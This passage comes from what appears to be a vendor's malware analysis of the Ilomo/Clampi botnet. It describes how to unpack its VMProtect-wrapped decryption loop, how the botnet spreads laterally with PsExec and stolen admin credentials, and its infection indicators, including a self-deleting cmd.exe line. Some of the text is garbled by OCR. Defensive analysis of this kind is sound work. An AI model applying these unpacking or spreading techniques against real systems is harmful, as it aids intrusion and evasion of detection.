In order to defeat this extra encryption layer, we need to find the actual decryption loop. We noticed that this is usually located right after a call allocating memory via VirtualAlloc. To place a breakpoint there, we have to go to the import table of the EXE. Note the amount of entries in the table, but very few are actually called. What follows is one such an import table, where we need to locate VirtualAlloc:





If we place a breakpoint on the VirtualAlloc code from Microsoft, we'll be able to run it to the end and go back to the program – and this is where the main decryption loop normally begins. Note how the highlighted instructions are from the loop, the rest are just garbage instructions.



Fig 4.7: External Decryption Loop

If we trace this code, we'll be able to read the real decryption loop from the rest of garbage code. This is the rest of the loop, which is a plain XOR cipher with a changing key:



llomo A study of the llomo / Clampi botnet



Fig 4.8: External Decryption Loop – XOR Key

Once we locate where the condition for the end of the loop is, we can add a breakpoint and let it decrypt the rest of the code:

.roata:004/551F 10C 4/551F:			
.rdata:0047551F leaesp, [esp+40h]			
.rdata:00475520 jnz loc 470039			
.rdata:88475529 100			
Fin 4.9 External Dear ution Lean End of lean			

Fig 4.9: External Decryption Loop – End of loop

A few lines after this, we'll be able to find the final ret instruction that imps forward to the decrypted code:



.rdata:00478220	loc_4782	20: ; C(
.rdata:00478220	db	66h
.rdata:00478220	bswap	eax
.rdata:00478223	pusha	
.rdata:00478224	MOVSX	eax, cl
.rdata:00478227	mov	eax, [ebp-4]
.rdata:0047822A	pushf	
.rdata:0047822B	mov	[esp-18h+arg_34], offset loc_471454
.rdata:00478233	pushf	
.rdata:00478234	mov	[esp-14h+arg_30], eax
.rdata:00478238	push	12E621AEh
.rdata:0047823D	push	[esp-10h+arg_C]
.rdata:00478240	push	[esp-QCh+arg 30]
.rdata:00478244	retn	2Ch)
.rdata:00478244	END OF	FUNCTION CHUNK FOR sub 470E4A

Fig 4.10: External Decryption Loop - Final Jump to VMProtect Code

After this "ret" is executed - we will arrive at the actual VMProtected file itself.

Additional Information

On 6 April 2009 an announcement was made by VMProtect on their website stating that they were open to communication with antivirus vendors. New versions of VMProtect (version 1.8 onwards) have added two signatures to protected files:

- 1.A signature identifying the file as using VMProtect
- 2.A signature of the owner of the VMProtect license

By sending a malware sample to <u>virus@vmpsoft.com</u>, VMProtect's creators will send back the second signature above. While this is a good move by Vmpsoft (the company behind VMProtect), there still remain a number of issues from our perspective:

- These signatures are not available on earlier versions of VMProtect, and there is nothing to stop malware authors using these instead of the newer versions.
- It is unclear how Vmpsoft manage their licensing.
- There are also no SLAs or guarantees of response times when sending samples for analysis
- Vmpsoft offer only the signature for the file (which can also be determined from standard analysis), they
 do not offer to give the identity of the malware authors, nor do they offer to give a non-obfuscated
 version of the binary.



PROPAGATION OF ILOMO

llomo's main method to infect a network is to first install itself on a single machine via Web based exploits. The domains and IPs used by llomo have also been associated with other web threats, most notably Gumblar. In our testing we did not observe llomo having any mass-mailing capabilities.

Once the first host on the network is compromised llomo can download the tool PSExec onto the system, in order to compromise other hosts on the network. PSExec^{vii} is a tool available freely from Microsoft. This is an official description of the tool:

PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.

The malware then uses domain administrator credentials (either already stolen by the Trojan, or from the domain admin having logged onto the infected machine) along with PSExec to copy itself to other machines on the network.

Each llomo node can also act as a proxy server, allowing the malware gang behind llomo to route connections through infected machines, which helps hide their activity when logging into any stolen accounts.



ILOMO SYMPTOMS

The following page summarizes a list of key symptoms that identify a system as most likely being infected by the llomo malware:

REGISTRY KEYS:

- HKCU\Software\Microsoft\Internet Explorer\Settings\GID
- HKCU\Software\Microsoft\Internet Explorer\Settings\Gateslist
- HKCU\Software\Microsoft\Internet Explorer\Settings\
 - Values "KeyE", "Key_M", "M00", "M01", "M02", "M03", "M04", "M05", "M06" including binary data

SYSTEM BEHAVIOR:

•

- Hidden Internet Explorer Window
 - Wininet and Urlmon API hooking
 - WININET.HttpOpenRequestA
 - WININET.HttpSendRequestA
 - WININET.InternetCloseHandle
 - WININET.InternetConnectA
 - o WININET.InternetOpenA
 - o WININET.InternetQueryDataAvailable
 - WININET.InternetQueryOptionA
 - WININET.InternetReadFile
 - WININET.InternetReadFileExA
 - o urlmon.772C4BBF
 - o urlmon.772C4BDD
 - o urlmon.772C4BFB
- Sysinternals PSExec is dropped on the machine

NETWORK BEHAVIOR:

Encrypted HTTP traffic to addresses such as [IP ADDRESS]/M1JJ9znqqoFqAKpy

 Uses POST parameters "o", "s" and "b"

For people actually reverse engineering a suspicious binary file, the following are also key characteristics that indicate the sample may be a member of the llomo family.

STRINGS:

- ILOMOIAJAAAAAJAJAJAJAJAJAJAJAJAJAF (Passed as part of a parameter to Internet Explorer)
- C:\Windows\System32\cmd.exe /c dir /s c:\Windows>nul && del [INSTALLER LOCATION]

OBFUSCATION:

• Uses VMProtect Obfuscator (more details in VMProtect section)



PROTECTION

Trend Micro uses the power of the Smart Protection Network^{viii} to detect and protect again infections of the llomo malware. These protection mechanisms are split into 3 core areas – Email Reputation, File Reputation and Web Reputation

Email Reputation

In our testing llomo did not exhibit any email sending behavior, but should the malware authors start sending malware samples or malicious URLs via email these would be detected by File and Web reputation respectively.

Web Reputation / URL Blocking

llomo executables connect to C&C servers (known as "gates") using the HTTP protocol. As such, all of these requests will be blocked using Web Threat Protection. To date we have successfully blocked all observed URLs used by the malware, preventing any llomo components being downloaded to customer's machines.

File Reputation / Heuristic Patterns

Trend Micro has added a number of patterns to detect llomo binaries. Some of these are specific detections for individual known samples and we have complemented this with a number of heuristic patterns to proactively detect new samples of the llomo family. Behavior based detection is also being added.

Damage Cleanup Template

Trend Micro has already released a DCT (Damage Cleanup Template) for the Ilomo family on July 22nd. The Damage Cleanup Template / Engine are the automated cleanup component of Trend Micro antivirus products. This DCT, combined with our GenericClean module, provides a total cleanup solution (files, processes, registry keys, etc) of the malware from an infected system.

Total Discovery Appliance

Trend Micro Threat Discovery Appliance is a next-generation network monitoring device that uses a combination of intelligent rules, algorithms, and signatures to detect a variety of malware including worms, Trojans, backdoor programs, viruses, spyware, adware, and other threats, at layers 2 to 7 of the Open Systems Interconnection Reference Model (OSI model). It is capable of detecting and blocking all HTTP Post requests made by Ilomo variants.

For more information on how the Smart Protection Network works simply visit the following web address:

http://us.trendmicro.com/us/trendwatch/core-technologies/smart-protection-network/



APPENDICES

GATESLIST ANALYSIS

As part of our research into llomo we did further investigation into the IPs being used as Gateslists (i.e. C&C servers) for llomo. The majority of these IPs reside on hosted servers (as opposed to home ADSL lines as is common in the case of other botnets). Graphs summarizing these details are included below:



Fig 5.1: Ilomo Gateslist Details- IPs by Country



Fig 5.2: Ilomo Gateslist Details- HTTP Response Type





Fig 5.3: Ilomo Gateslist Details- Upstream Providers



REFERENCES

- Blowfish cipher http://en.wikipedia.org/w/index.php?title=Blowfish (cipher)&oldid=302580543
- Blackhat Vegas 2009 http://www.blackhat.com/html/bh-usa-09/bh-us-09-main.html
- Secureworks http://www.secureworks.com/
- VPSExec http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
- ^v Blackhat Vegas 2009 <u>http://www.blackhat.com/html/bh-usa-09/bh-us-09</u>-main.html
- Vi Sophos on VMProtect http://www.datasecurity-event.com/uploads/boris lau virtualization obfs.pdf
- vii PSExec http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
- viii Smart Protection Network http://us.trendmicro.com/us/trendwatch/core-technologies/smart-protection-network/

